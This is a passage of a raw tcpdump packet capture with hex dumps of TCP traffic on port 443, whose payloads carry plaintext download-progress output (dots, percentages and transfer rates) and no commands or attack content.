0x0010 d380 635d 01bb 0639 4fd9 c5c3 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 cfdb 0000 0101 080a 0020 75dd ..!...........u.
0x0030 25bb 3c60 2e %.<`.
05:35:47.275452 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2806:2807(1) ack 1229 win 8576 <nop,nop,timestamp 2127325 633027680> (DF)
0x0000 4500 0035 f31d 4000 4006 873f 800a 097e E..5..@.@..?...~
0x0010 d380 635d 01bb 0639 4fd9 c5c3 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 cfdb 0000 0101 080a 0020 75dd ..!...........u.
0x0030 25bb 3c60 2e %.<`.
05:35:47.281559 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2774 win 31856 <nop,nop,timestamp 633027682 2127306> (DF)
0x0000 4500 0034 c999 4000 3106 bfc4 d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c5a3 ...~.9...er.O...
0x0020 8010 7c70 a325 0000 0101 080a 25bb 3c62 ..|p.%......%.<b
0x0030 0020 75ca ..u.
05:35:47.281677 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2807:2849(42) ack 1229 win 8576 <nop,nop,timestamp 2127326 633027682> (DF)
0x0000 4500 005e f31e 4000 4006 8715 800a 097e E..^..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c5c4 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 3c9a 0000 0101 080a 0020 75de ..!.<.........u.
0x0030 25bb 3c62 2e2e 2e20 2e2e 2e2e 2e2e 2e2e %.<b............
0x0040 2e2e 2035 3525 2040 2032 3035 2e37 3620 ...55%.@.205.76.
0x0050 4b42 2f73 0a20 2032 3530 4b20 2e2e KB/s...250K...
05:35:47.281680 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2807:2849(42) ack 1229 win 8576 <nop,nop,timestamp 2127326 633027682> (DF)
0x0000 4500 005e f31e 4000 4006 8715 800a 097e E..^..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c5c4 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 3c9a 0000 0101 080a 0020 75de ..!.<.........u.
0x0030 25bb 3c62 2e2e 2e20 2e2e 2e2e 2e2e 2e2e %.<b............
0x0040 2e2e 2035 3525 2040 2032 3035 2e37 3620 ...55%.@.205.76.
0x0050 4b42 2f73 0a20 2032 3530 4b20 2e2e KB/s...250K...
05:35:47.281918 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2849:2850(1) ack 1229 win 8576 <nop,nop,timestamp 2127326 633027682> (DF)
0x0000 4500 0035 f31f 4000 4006 873d 800a 097e E..5..@.@..=...~
0x0010 d380 635d 01bb 0639 4fd9 c5ee 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 cfad 0000 0101 080a 0020 75de ..!...........u.
0x0030 25bb 3c62 2e %.<b.
05:35:47.281922 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2849:2850(1) ack 1229 win 8576 <nop,nop,timestamp 2127326 633027682> (DF)
0x0000 4500 0035 f31f 4000 4006 873d 800a 097e E..5..@.@..=...~
0x0010 d380 635d 01bb 0639 4fd9 c5ee 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 cfad 0000 0101 080a 0020 75de ..!...........u.
0x0030 25bb 3c62 2e %.<b.
05:35:47.412444 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2785 win 31856 <nop,nop,timestamp 633027696 2127320> (DF)
0x0000 4500 0034 c9eb 4000 3106 bf72 d380 635d E..4..@.1..r..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c5ae ...~.9...er.O...
0x0020 8010 7c70 a2fe 0000 0101 080a 25bb 3c70 ..|p........%.<p
0x0030 0020 75d8 ..u.
05:35:47.412585 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2851:2877(26) ack 1229 win 8576 <nop,nop,timestamp 2127339 633027696> (DF)
0x0000 4500 004e f321 4000 4006 8722 800a 097e E..N.!@.@.."...~
0x0010 d380 635d 01bb 0639 4fd9 c5f0 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 b32d 0000 0101 080a 0020 75eb ..!..-........u.
0x0030 25bb 3c70 2e2e 2e2e 2e2e 202e 2e2e 2e2e %.<p............
0x0040 2e2e 2e2e 2e20 2e2e 2e2e 2e2e 2e2e ..............
05:35:47.412590 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2851:2877(26) ack 1229 win 8576 <nop,nop,timestamp 2127339 633027696> (DF)
0x0000 4500 004e f321 4000 4006 8722 800a 097e E..N.!@.@.."...~
0x0010 d380 635d 01bb 0639 4fd9 c5f0 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 b32d 0000 0101 080a 0020 75eb ..!..-........u.
0x0030 25bb 3c70 2e2e 2e2e 2e2e 202e 2e2e 2e2e %.<p............
0x0040 2e2e 2e2e 2e20 2e2e 2e2e 2e2e 2e2e ..............
05:35:47.426355 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2877:2878(1) ack 1229 win 8576 <nop,nop,timestamp 2127340 633027696> (DF)
0x0000 4500 0035 f322 4000 4006 873a 800a 097e E..5."@.@..:...~
0x0010 d380 635d 01bb 0639 4fd9 c60a 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 cf75 0000 0101 080a 0020 75ec ..!..u........u.
0x0030 25bb 3c70 2e %.<p.
05:35:47.426358 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2877:2878(1) ack 1229 win 8576 <nop,nop,timestamp 2127340 633027696> (DF)
0x0000 4500 0035 f322 4000 4006 873a 800a 097e E..5."@.@..:...~
0x0010 d380 635d 01bb 0639 4fd9 c60a 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 cf75 0000 0101 080a 0020 75ec ..!..u........u.
0x0030 25bb 3c70 2e %.<p.
05:35:47.426646 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2878:2879(1) ack 1229 win 8576 <nop,nop,timestamp 2127340 633027696> (DF)
0x0000 4500 0035 f323 4000 4006 8739 800a 097e E..5.#@.@..9...~
0x0010 d380 635d 01bb 0639 4fd9 c60b 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 cf74 0000 0101 080a 0020 75ec ..!..t........u.
0x0030 25bb 3c70 2e %.<p.
05:35:47.426649 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2878:2879(1) ack 1229 win 8576 <nop,nop,timestamp 2127340 633027696> (DF)
0x0000 4500 0035 f323 4000 4006 8739 800a 097e E..5.#@.@..9...~
0x0010 d380 635d 01bb 0639 4fd9 c60b 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 cf74 0000 0101 080a 0020 75ec ..!..t........u.
0x0030 25bb 3c70 2e %.<p.
05:35:47.426687 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2879:2880(1) ack 1229 win 8576 <nop,nop,timestamp 2127340 633027696> (DF)
0x0000 4500 0035 f324 4000 4006 8738 800a 097e E..5.$@.@..8...~
0x0010 d380 635d 01bb 0639 4fd9 c60c 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 dd73 0000 0101 080a 0020 75ec ..!..s........u.
0x0030 25bb 3c70 20 %.<p.
05:35:47.426689 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2879:2880(1) ack 1229 win 8576 <nop,nop,timestamp 2127340 633027696> (DF)
0x0000 4500 0035 f324 4000 4006 8738 800a 097e E..5.$@.@..8...~
0x0010 d380 635d 01bb 0639 4fd9 c60c 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 dd73 0000 0101 080a 0020 75ec ..!..s........u.
0x0030 25bb 3c70 20 %.<p.
05:35:47.452503 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2805 win 31856 <nop,nop,timestamp 633027700 2127324> (DF)
0x0000 4500 0034 ca01 4000 3106 bf5c d380 635d E..4..@.1..\..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c5c2 ...~.9...er.O...
0x0020 8010 7c70 a2e2 0000 0101 080a 25bb 3c74 ..|p........%.<t
0x0030 0020 75dc ..u.
05:35:47.452646 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2880:2898(18) ack 1229 win 8576 <nop,nop,timestamp 2127343 633027700> (DF)
0x0000 4500 0046 f325 4000 4006 8726 800a 097e E..F.%@.@..&...~
0x0010 d380 635d 01bb 0639 4fd9 c60d 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 6bbb 0000 0101 080a 0020 75ef ..!.k.........u.
0x0030 25bb 3c74 2e2e 2e2e 2e2e 2e2e 2e2e 202e %.<t............
0x0040 2e2e 2e2e 2e2e ......
05:35:47.452651 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2880:2898(18) ack 1229 win 8576 <nop,nop,timestamp 2127343 633027700> (DF)
0x0000 4500 0046 f325 4000 4006 8726 800a 097e E..F.%@.@..&...~
0x0010 d380 635d 01bb 0639 4fd9 c60d 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 6bbb 0000 0101 080a 0020 75ef ..!.k.........u.
0x0030 25bb 3c74 2e2e 2e2e 2e2e 2e2e 2e2e 202e %.<t............
0x0040 2e2e 2e2e 2e2e ......
05:35:47.471172 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2898:2899(1) ack 1229 win 8576 <nop,nop,timestamp 2127345 633027700> (DF)
0x0000 4500 0035 f326 4000 4006 8736 800a 097e E..5.&@.@..6...~
0x0010 d380 635d 01bb 0639 4fd9 c61f 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 cf57 0000 0101 080a 0020 75f1 ..!..W........u.
0x0030 25bb 3c74 2e %.<t.
05:35:47.471175 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2898:2899(1) ack 1229 win 8576 <nop,nop,timestamp 2127345 633027700> (DF)
0x0000 4500 0035 f326 4000 4006 8736 800a 097e E..5.&@.@..6...~
0x0010 d380 635d 01bb 0639 4fd9 c61f 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 cf57 0000 0101 080a 0020 75f1 ..!..W........u.
0x0030 25bb 3c74 2e %.<t.
05:35:47.472631 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2851 win 31856 <nop,nop,timestamp 633027702 2127325> (DF)
0x0000 4500 0034 ca0b 4000 3106 bf52 d380 635d E..4..@.1..R..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c5f0 ...~.9...er.O...
0x0020 8010 7c70 a2b1 0000 0101 080a 25bb 3c76 ..|p........%.<v
0x0030 0020 75dd ..u.
05:35:47.472971 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2899:2930(31) ack 1229 win 8576 <nop,nop,timestamp 2127345 633027702> (DF)
0x0000 4500 0053 f327 4000 4006 8717 800a 097e E..S.'@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c620 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 1f2b 0000 0101 080a 0020 75f1 ..!..+........u.
0x0030 25bb 3c76 2e2e 2036 3625 2040 2032 3631 %.<v...66%.@.261
0x0040 2e37 3820 4b42 2f73 0a20 2033 3030 4b20 .78.KB/s...300K.
0x0050 2e2e 2e ...
05:35:47.472976 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2899:2930(31) ack 1229 win 8576 <nop,nop,timestamp 2127345 633027702> (DF)
0x0000 4500 0053 f327 4000 4006 8717 800a 097e E..S.'@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c620 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 1f2b 0000 0101 080a 0020 75f1 ..!..+........u.
0x0030 25bb 3c76 2e2e 2036 3625 2040 2032 3631 %.<v...66%.@.261
0x0040 2e37 3820 4b42 2f73 0a20 2033 3030 4b20 .78.KB/s...300K.
0x0050 2e2e 2e ...
05:35:47.474408 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2930:2931(1) ack 1229 win 8576 <nop,nop,timestamp 2127345 633027702> (DF)
0x0000 4500 0035 f328 4000 4006 8734 800a 097e E..5.(@.@..4...~
0x0010 d380 635d 01bb 0639 4fd9 c63f 2e65 72e3 ..c]...9O..?.er.
0x0020 8018 2180 cf35 0000 0101 080a 0020 75f1 ..!..5........u.
0x0030 25bb 3c76 2e %.<v.
05:35:47.474411 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2930:2931(1) ack 1229 win 8576 <nop,nop,timestamp 2127345 633027702> (DF)
0x0000 4500 0035 f328 4000 4006 8734 800a 097e E..5.(@.@..4...~
0x0010 d380 635d 01bb 0639 4fd9 c63f 2e65 72e3 ..c]...9O..?.er.
0x0020 8018 2180 cf35 0000 0101 080a 0020 75f1 ..!..5........u.
0x0030 25bb 3c76 2e %.<v.
05:35:47.474450 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2931:2932(1) ack 1229 win 8576 <nop,nop,timestamp 2127345 633027702> (DF)
0x0000 4500 0035 f329 4000 4006 8733 800a 097e E..5.)@.@..3...~
0x0010 d380 635d 01bb 0639 4fd9 c640 2e65 72e3 ..c]...9O..@.er.
0x0020 8018 2180 cf34 0000 0101 080a 0020 75f1 ..!..4........u.
0x0030 25bb 3c76 2e %.<v.
05:35:47.474453 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2931:2932(1) ack 1229 win 8576 <nop,nop,timestamp 2127345 633027702> (DF)
0x0000 4500 0035 f329 4000 4006 8733 800a 097e E..5.)@.@..3...~
0x0010 d380 635d 01bb 0639 4fd9 c640 2e65 72e3 ..c]...9O..@.er.
0x0020 8018 2180 cf34 0000 0101 080a 0020 75f1 ..!..4........u.
0x0030 25bb 3c76 2e %.<v.
05:35:47.474823 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2932:2933(1) ack 1229 win 8576 <nop,nop,timestamp 2127345 633027702> (DF)
0x0000 4500 0035 f32a 4000 4006 8732 800a 097e E..5.*@.@..2...~
0x0010 d380 635d 01bb 0639 4fd9 c641 2e65 72e3 ..c]...9O..A.er.
0x0020 8018 2180 cf33 0000 0101 080a 0020 75f1 ..!..3........u.
0x0030 25bb 3c76 2e %.<v.
05:35:47.474827 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2932:2933(1) ack 1229 win 8576 <nop,nop,timestamp 2127345 633027702> (DF)
0x0000 4500 0035 f32a 4000 4006 8732 800a 097e E..5.*@.@..2...~
0x0010 d380 635d 01bb 0639 4fd9 c641 2e65 72e3 ..c]...9O..A.er.
0x0020 8018 2180 cf33 0000 0101 080a 0020 75f1 ..!..3........u.
0x0030 25bb 3c76 2e %.<v.
05:35:47.475638 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2933:2934(1) ack 1229 win 8576 <nop,nop,timestamp 2127345 633027702> (DF)
0x0000 4500 0035 f32b 4000 4006 8731 800a 097e E..5.+@.@..1...~
0x0010 d380 635d 01bb 0639 4fd9 c642 2e65 72e3 ..c]...9O..B.er.
0x0020 8018 2180 cf32 0000 0101 080a 0020 75f1 ..!..2........u.
0x0030 25bb 3c76 2e %.<v.
05:35:47.475641 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2933:2934(1) ack 1229 win 8576 <nop,nop,timestamp 2127345 633027702> (DF)
0x0000 4500 0035 f32b 4000 4006 8731 800a 097e E..5.+@.@..1...~
0x0010 d380 635d 01bb 0639 4fd9 c642 2e65 72e3 ..c]...9O..B.er.
0x0020 8018 2180 cf32 0000 0101 080a 0020 75f1 ..!..2........u.
0x0030 25bb 3c76 2e %.<v.
05:35:47.476342 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2934:2935(1) ack 1229 win 8576 <nop,nop,timestamp 2127345 633027702> (DF)
0x0000 4500 0035 f32c 4000 4006 8730 800a 097e E..5.,@.@..0...~
0x0010 d380 635d 01bb 0639 4fd9 c643 2e65 72e3 ..c]...9O..C.er.
0x0020 8018 2180 cf31 0000 0101 080a 0020 75f1 ..!..1........u.
0x0030 25bb 3c76 2e %.<v.
05:35:47.602308 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2877 win 31856 <nop,nop,timestamp 633027715 2127339> (DF)
0x0000 4500 0034 ca54 4000 3106 bf09 d380 635d E..4.T@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c60a ...~.9...er.O...
0x0020 8010 7c70 a27c 0000 0101 080a 25bb 3c83 ..|p.|......%.<.
0x0030 0020 75eb ..u.
05:35:47.602439 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2935:2970(35) ack 1229 win 8576 <nop,nop,timestamp 2127358 633027715> (DF)
0x0000 4500 0057 f32d 4000 4006 870d 800a 097e E..W.-@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c644 2e65 72e3 ..c]...9O..D.er.
0x0020 8018 2180 d9f1 0000 0101 080a 0020 75fe ..!...........u.
0x0030 25bb 3c83 2e2e 202e 2e2e 2e2e 2e2e 2e2e %.<.............
0x0040 2e20 2e2e 2e2e 2e2e 2e2e 2e2e 202e 2e2e ................
0x0050 2e2e 2e2e 2e2e 2e .......
05:35:47.602443 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2935:2970(35) ack 1229 win 8576 <nop,nop,timestamp 2127358 633027715> (DF)
0x0000 4500 0057 f32d 4000 4006 870d 800a 097e E..W.-@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c644 2e65 72e3 ..c]...9O..D.er.
0x0020 8018 2180 d9f1 0000 0101 080a 0020 75fe ..!...........u.
0x0030 25bb 3c83 2e2e 202e 2e2e 2e2e 2e2e 2e2e %.<.............
0x0040 2e20 2e2e 2e2e 2e2e 2e2e 2e2e 202e 2e2e ................
0x0050 2e2e 2e2e 2e2e 2e .......
05:35:47.622917 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2970:2971(1) ack 1229 win 8576 <nop,nop,timestamp 2127360 633027715> (DF)
0x0000 4500 0035 f32e 4000 4006 872e 800a 097e E..5..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c667 2e65 72e3 ..c]...9O..g.er.
0x0020 8018 2180 dcf1 0000 0101 080a 0020 7600 ..!...........v.
0x0030 25bb 3c83 20 %.<..
05:35:47.622920 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2970:2971(1) ack 1229 win 8576 <nop,nop,timestamp 2127360 633027715> (DF)
0x0000 4500 0035 f32e 4000 4006 872e 800a 097e E..5..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c667 2e65 72e3 ..c]...9O..g.er.
0x0020 8018 2180 dcf1 0000 0101 080a 0020 7600 ..!...........v.
0x0030 25bb 3c83 20 %.<..
05:35:47.623233 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2880 win 31856 <nop,nop,timestamp 633027717 2127340> (DF)
0x0000 4500 0034 ca62 4000 3106 befb d380 635d E..4.b@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c60d ...~.9...er.O...
0x0020 8010 7c70 a276 0000 0101 080a 25bb 3c85 ..|p.v......%.<.
0x0030 0020 75ec ..u.
05:35:47.623349 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2971:2974(3) ack 1229 win 8576 <nop,nop,timestamp 2127360 633027717> (DF)
0x0000 4500 0037 f32f 4000 4006 872b 800a 097e E..7./@.@..+...~
0x0010 d380 635d 01bb 0639 4fd9 c668 2e65 72e3 ..c]...9O..h.er.
0x0020 8018 2180 a0be 0000 0101 080a 0020 7600 ..!...........v.
0x0030 25bb 3c85 2e2e 2e %.<....
05:35:47.623352 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2971:2974(3) ack 1229 win 8576 <nop,nop,timestamp 2127360 633027717> (DF)
0x0000 4500 0037 f32f 4000 4006 872b 800a 097e E..7./@.@..+...~
0x0010 d380 635d 01bb 0639 4fd9 c668 2e65 72e3 ..c]...9O..h.er.
0x0020 8018 2180 a0be 0000 0101 080a 0020 7600 ..!...........v.
0x0030 25bb 3c85 2e2e 2e %.<....
05:35:47.623546 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2974:2975(1) ack 1229 win 8576 <nop,nop,timestamp 2127360 633027717> (DF)
0x0000 4500 0035 f330 4000 4006 872c 800a 097e E..5.0@.@..,...~
0x0010 d380 635d 01bb 0639 4fd9 c66b 2e65 72e3 ..c]...9O..k.er.
0x0020 8018 2180 ceeb 0000 0101 080a 0020 7600 ..!...........v.
0x0030 25bb 3c85 2e %.<..
05:35:47.623550 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2974:2975(1) ack 1229 win 8576 <nop,nop,timestamp 2127360 633027717> (DF)
0x0000 4500 0035 f330 4000 4006 872c 800a 097e E..5.0@.@..,...~
0x0010 d380 635d 01bb 0639 4fd9 c66b 2e65 72e3 ..c]...9O..k.er.
0x0020 8018 2180 ceeb 0000 0101 080a 0020 7600 ..!...........v.
0x0030 25bb 3c85 2e %.<..
05:35:47.623957 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2975:2976(1) ack 1229 win 8576 <nop,nop,timestamp 2127360 633027717> (DF)
0x0000 4500 0035 f331 4000 4006 872b 800a 097e E..5.1@.@..+...~
0x0010 d380 635d 01bb 0639 4fd9 c66c 2e65 72e3 ..c]...9O..l.er.
0x0020 8018 2180 ceea 0000 0101 080a 0020 7600 ..!...........v.
0x0030 25bb 3c85 2e %.<..
05:35:47.623960 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2975:2976(1) ack 1229 win 8576 <nop,nop,timestamp 2127360 633027717> (DF)
0x0000 4500 0035 f331 4000 4006 872b 800a 097e E..5.1@.@..+...~
0x0010 d380 635d 01bb 0639 4fd9 c66c 2e65 72e3 ..c]...9O..l.er.
0x0020 8018 2180 ceea 0000 0101 080a 0020 7600 ..!...........v.
0x0030 25bb 3c85 2e %.<..
05:35:47.623998 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2976:2977(1) ack 1229 win 8576 <nop,nop,timestamp 2127360 633027717> (DF)
0x0000 4500 0035 f332 4000 4006 872a 800a 097e E..5.2@.@..*...~
0x0010 d380 635d 01bb 0639 4fd9 c66d 2e65 72e3 ..c]...9O..m.er.
0x0020 8018 2180 cee9 0000 0101 080a 0020 7600 ..!...........v.
0x0030 25bb 3c85 2e %.<..
05:35:47.624001 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2976:2977(1) ack 1229 win 8576 <nop,nop,timestamp 2127360 633027717> (DF)
0x0000 4500 0035 f332 4000 4006 872a 800a 097e E..5.2@.@..*...~
0x0010 d380 635d 01bb 0639 4fd9 c66d 2e65 72e3 ..c]...9O..m.er.
0x0020 8018 2180 cee9 0000 0101 080a 0020 7600 ..!...........v.
0x0030 25bb 3c85 2e %.<..
05:35:47.662492 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2935 win 31856 <nop,nop,timestamp 633027721 2127345> (DF)
0x0000 4500 0034 ca80 4000 3106 bedd d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c644 ...~.9...er.O..D
0x0020 8010 7c70 a236 0000 0101 080a 25bb 3c89 ..|p.6......%.<.
0x0030 0020 75f1 ..u.
05:35:47.667652 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3017:3018(1) ack 1229 win 8576 <nop,nop,timestamp 2127364 633027721> (DF)
0x0000 4500 0035 f334 4000 4006 8728 800a 097e E..5.4@.@..(...~
0x0010 d380 635d 01bb 0639 4fd9 c696 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 dcb8 0000 0101 080a 0020 7604 ..!...........v.
0x0030 25bb 3c89 20 %.<..
05:35:47.667655 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3017:3018(1) ack 1229 win 8576 <nop,nop,timestamp 2127364 633027721> (DF)
0x0000 4500 0035 f334 4000 4006 8728 800a 097e E..5.4@.@..(...~
0x0010 d380 635d 01bb 0639 4fd9 c696 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 dcb8 0000 0101 080a 0020 7604 ..!...........v.
0x0030 25bb 3c89 20 %.<..
05:35:47.667694 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3018:3019(1) ack 1229 win 8576 <nop,nop,timestamp 2127364 633027721> (DF)
0x0000 4500 0035 f335 4000 4006 8727 800a 097e E..5.5@.@..'...~
0x0010 d380 635d 01bb 0639 4fd9 c697 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ceb7 0000 0101 080a 0020 7604 ..!...........v.
0x0030 25bb 3c89 2e %.<..
05:35:47.667697 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3018:3019(1) ack 1229 win 8576 <nop,nop,timestamp 2127364 633027721> (DF)
0x0000 4500 0035 f335 4000 4006 8727 800a 097e E..5.5@.@..'...~
0x0010 d380 635d 01bb 0639 4fd9 c697 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ceb7 0000 0101 080a 0020 7604 ..!...........v.
0x0030 25bb 3c89 2e %.<..
05:35:47.669357 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3019:3020(1) ack 1229 win 8576 <nop,nop,timestamp 2127365 633027721> (DF)
0x0000 4500 0035 f336 4000 4006 8726 800a 097e E..5.6@.@..&...~
0x0010 d380 635d 01bb 0639 4fd9 c698 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ceb5 0000 0101 080a 0020 7605 ..!...........v.
0x0030 25bb 3c89 2e %.<..
05:35:47.669360 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3019:3020(1) ack 1229 win 8576 <nop,nop,timestamp 2127365 633027721> (DF)
0x0000 4500 0035 f336 4000 4006 8726 800a 097e E..5.6@.@..&...~
0x0010 d380 635d 01bb 0639 4fd9 c698 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ceb5 0000 0101 080a 0020 7605 ..!...........v.
0x0030 25bb 3c89 2e %.<..
05:35:47.669405 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3020:3021(1) ack 1229 win 8576 <nop,nop,timestamp 2127365 633027721> (DF)
0x0000 4500 0035 f337 4000 4006 8725 800a 097e E..5.7@.@..%...~
0x0010 d380 635d 01bb 0639 4fd9 c699 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ceb4 0000 0101 080a 0020 7605 ..!...........v.
0x0030 25bb 3c89 2e %.<..
05:35:47.669407 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3020:3021(1) ack 1229 win 8576 <nop,nop,timestamp 2127365 633027721> (DF)
0x0000 4500 0035 f337 4000 4006 8725 800a 097e E..5.7@.@..%...~
0x0010 d380 635d 01bb 0639 4fd9 c699 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ceb4 0000 0101 080a 0020 7605 ..!...........v.
0x0030 25bb 3c89 2e %.<..
05:35:47.669646 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3021:3022(1) ack 1229 win 8576 <nop,nop,timestamp 2127365 633027721> (DF)
0x0000 4500 0035 f338 4000 4006 8724 800a 097e E..5.8@.@..$...~
0x0010 d380 635d 01bb 0639 4fd9 c69a 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ceb3 0000 0101 080a 0020 7605 ..!...........v.
0x0030 25bb 3c89 2e %.<..
05:35:47.669648 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3021:3022(1) ack 1229 win 8576 <nop,nop,timestamp 2127365 633027721> (DF)
0x0000 4500 0035 f338 4000 4006 8724 800a 097e E..5.8@.@..$...~
0x0010 d380 635d 01bb 0639 4fd9 c69a 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ceb3 0000 0101 080a 0020 7605 ..!...........v.
0x0030 25bb 3c89 2e %.<..
05:35:47.672452 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3022:3023(1) ack 1229 win 8576 <nop,nop,timestamp 2127365 633027721> (DF)
0x0000 4500 0035 f339 4000 4006 8723 800a 097e E..5.9@.@..#...~
0x0010 d380 635d 01bb 0639 4fd9 c69b 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 ceb2 0000 0101 080a 0020 7605 ..!...........v.
0x0030 25bb 3c89 2e %.<..
05:35:47.792873 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2970 win 31856 <nop,nop,timestamp 633027734 2127358> (DF)
0x0000 4500 0034 cae2 4000 3106 be7b d380 635d E..4..@.1..{..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c667 ...~.9...er.O..g
0x0020 8010 7c70 a1f9 0000 0101 080a 25bb 3c96 ..|p........%.<.
0x0030 0020 75fe ..u.
05:35:47.793011 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3025:3088(63) ack 1229 win 8576 <nop,nop,timestamp 2127377 633027734> (DF)
0x0000 4500 0073 f33c 4000 4006 86e2 800a 097e E..s.<@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c69e 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 4f7b 0000 0101 080a 0020 7611 ..!.O{........v.
0x0030 25bb 3c96 2e2e 2e20 2e2e 2e2e 2e2e 2e2e %.<.............
0x0040 2e2e 202e 2e2e 2e2e 2e2e 2e2e 2e20 2e2e ................
0x0050 2e2e 2e2e 2e2e 2e2e 2038 3825 2040 2035 .........88%.@.5
0x0060 3337 2e36 3320 4b42 2f73 0a20 2034 3030 37.63.KB/s...400
0x0070 4b20 2e K..
05:35:47.793016 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 3025:3088(63) ack 1229 win 8576 <nop,nop,timestamp 2127377 633027734> (DF)
